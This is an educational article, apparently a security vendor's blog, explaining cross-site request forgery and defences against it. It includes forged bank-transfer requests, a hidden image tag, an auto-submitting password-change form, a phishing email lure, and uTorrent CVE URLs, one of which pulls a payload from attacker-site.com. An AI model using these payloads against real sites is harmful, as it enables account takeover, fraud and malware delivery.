What is CSRF (Cross Site Request Forgery)?
Cross-site request forgery (CSRF) is a technique that enables attackers to impersonate a legitimate, trusted user. CSRF attacks can be used to change firewall settings, post malicious data to forums, or conduct fraudulent transactions. In many cases, affected users and website owners are unaware that an attack occurred, and become aware of it only after the damage is done and recovery is not possible.
CSRF attacks exploit a mechanism that makes the sign-in process more convenient. Browsers often automatically include credentials in the request when a user tries to access a site. These credentials can include the user’s session cookies, basic authentication credentials, IP address, and Windows domain credentials.
If there is no protection against CSRF attacks, it can be easy for an attacker to hijack the session and impersonate the user. Once a user is authenticated on the site, the site cannot differentiate between a legitimate user request and a fake request sent by the attacker.
In this article:
CSRF Attack Examples
1. Bank Transfer Using GET or POST
Consider a user who wants to transfer an amount of $5,000 to a family member via the web application of Acme Bank, which has a CSRF vulnerability. An attacker identifies this vulnerability and wants to intercept this transaction so that the funds are transferred to their bank account instead of to the intended recipient.
The attacker can construct two types of URLs to perform the illicit funds transfer, depending on whether the application was designed using GET or POST requests.
Forged GET request
The original request would look like something like this, transferring the amount to account #344344:
GET http://acmebank.com/fundtransfer?acct=344344&amount=5000 HTTP/1.1
The attacker’s forged request might look like this. The attacker changes the account number to their own account (#224224 in this example) and increases the transfer amount to $50,000:
http://acmebank.com/fundtransfer?acct=224224&amount=50000
Now the attacker needs to trick the victim into visiting this forged URL while signed into the banking application. The attacker might draft an email like this:
To: Victim
Subject: A gift of flowers for you!
Hello victim,
We know your birthday is coming up and have a special gift for you. Just click here to receive it!
The link “click here” would lead to the forged URL shown above.
Alternatively, the attacker could display a pixel within the email that fires and activates the URL if the victim enables viewing images in their email client. This is more dangerous because it requires no direct user action:
<img src="http://acmebank.com/fundtransfer?acct=224224&amount=500000" width="0" height="0" border="0">
Forged POST request
If the banking application uses POST requests, the user’s original operation would look like this:
POST http://acmebank.com/fundtransfer HTTP/1.1acct=344344&amount=5000
In this case, the attacker would need to craft a <form> element with the forged request:
<form action="http://acmebank.com/fundtransfer" method="POST">
<input type="hidden" name="acct" value="224224"/>
<input type="hidden" name="amount" value="50000"/>
<input type="submit" value="Click to get your free gift!"/>
</form>
When the user submits the form, believing they will receive a gift, the post request is executed and, if the user is currently signed into the application, the illicit transfer is carried out.
2. Changing Password with Self-Submitting Form
Consider a vulnerable application that allows users to change their password via a POST request. The original form looks like this:
<form id="changepass" method="POST" action="http://acmebank.com/password.php">
<input type="text" name="password" value="p@ssw0rD"><input type="submit" value="Change my password"/>
<form>
The attacker can create a copy of this form, changing the password to one known by the attacker (123 in this example):
<form id="changepass" method="POST" action="http://acmebank.com/password.php"> <input type="text" name="password" value="123"><form>
<script>
document.getElementById('changepass').submit();
</script>
Unlike the original form, the attacker’s version does not have a submit button, and has a script that automatically submits the form as soon as the user loads the HTML.
The attacker hosts this form on a malicious website. To trick users, they can use a domain name similar to the bank’s one, like this:
https://acme-bank.biz/password.html
The attacker needs to trick the victim into visiting the above URL—for example by sending an email that is supposedly from the bank. When a victim visits the URL, the following HTTP POST is generated:
POST /password.php HTTP/1.1
Host: acmebank.com
Origin: http://acme-bank.biz
Referer: https://acme-bank.biz/password.html
Cookie: SESSION=d33567b639c534e664
Content-Type: application/x-www-form-urlencoded
password=123
In this forged POST request, the Host is the vulnerable application, acmebank.com, but the Origin and Referer indicate the request is really coming from the attacker’s malicious site, acme-bank.biz. We are assuming the user previously signed into the banking application so the Cookie field retains their valid session ID.
This vulnerable application will authenticate the request based on the recognized session ID, and accept the form contents, changing the password to the attacker’s desired string.
3. Real-Life uTorrent Attack: Deploying Malware via Forged GET Request
The uTorrent vulnerability discovered in 2009 (CVE-2008-6586) was a real-life, large-scale CSRF attack. The uTorrent software had a vulnerability that allowed its web console to be accessible at localhost:8080, allowing attackers to perform sensitive actions with a simple GET request.
uTorrent built its web interface in such a way that GET requests enabled state-changing operations. According to the HTTP/1.1 standard (RFC 2616), GET and HEAD methods should never be state changing, and should only be used to allow clients to retrieve data.
Attackers discovered two exploitable URLs that could allow them to deploy malware to a victim’s device. This URL forced a torrent file download:
http://localhost:8080/gui/?action=add-url&s=http://attacker-site.com/malware
This URL changed the administrator password of the uTorrent software:
http://localhost:8080/gui/?action=setsetting&s=webui.password&v=newpassword
The attackers added HTML elements with automatic action triggered by JavaScript on multiple Internet forums, and also sent spam emails with these elements to a large distribution list. Anyone who had the uTorrent application while visiting the forum page or opening the email was hit by the attack. The attack enabled the attackers to deploy malware on a large number of client devices.
Related content: See more real-life attack examples in our guide to CSRF attacks
Preventing CSRF Attacks
Implementing CSRF Tokens
Organizations can easily block most CSRF attacks using CSRF tokens. These are unique challenge tokens that can be added to sensitive user requests, such as making a purchase, transferring funds, or creating an admin account on the website backend. Developers can add a CSRF token to every state change request and properly validate these tokens when processing the request, to ensure that the authenticated user sent the request legitimately.
Whenever the server renders a page with a sensitive operation, a unique CSRF token is passed to the user. For this to work properly, the server must perform the requested operation only when the token is fully validated and reject all requests for invalid or missing tokens. However, a common mistake when implementing CSRF is to reject requests with invalid tokens, but continue accepting requests with missing tokens. This makes the CSRF token ineffective.
Related content: Read our guide to CSRF tokens
Checking for CSRF Vulnerabilities
To check for a CSRF vulnerability, look for a form where users can submit a request and verify that the anti-CSRF token was generated correctly. Most modern web frameworks include an anti-CSRF token on every form page and can be configured globally to handle validation transparently.
Whenever a user can submit a request that changes system state, the request must be protected with a CSRF token. If the form is not intended to allow users to make stateful changes, developers must limit its scope to prevent abuse by attackers.
Combining CSRF Tokens with Other Protections
CSRF tokens can also be used with other protective techniques, such as:
- Setting session cookies using the SameSite cookie attribute. This property instructs the browser to control whether cookies are sent with requests from third-party domains.
- Adding the HttpOnly property to avoid some types of cross-site scripting (XSS) flaws. Preventing XSS vulnerabilities can also make it more difficult to conduct CSRF attacks.
Conduct Regular Web Application Security Tests to Identify CSRF
Even if vulnerabilities in web applications with CSRF attacks are successfully addressed, application updates and code changes may expose your application to CSRF in the future. Dynamic Application Security Testing (DAST) helps you continuously scan and test for potential security weaknesses in web applications, including CSRF vulnerabilities.
Bright Security is a next-generation DAST solution that helps automate the detection and remediation of many vulnerabilities, including CSRF, early in the development process.
By shifting DAST scans left, and integrating them into the SDLC, developers and application security professionals can detect vulnerabilities early, and remediate them before they appear in production. Bright Security completes scans in minutes and achieves zero false positives, by automatically validating every vulnerability. This allows developers to adopt the solution and use it throughout the development lifecycle.
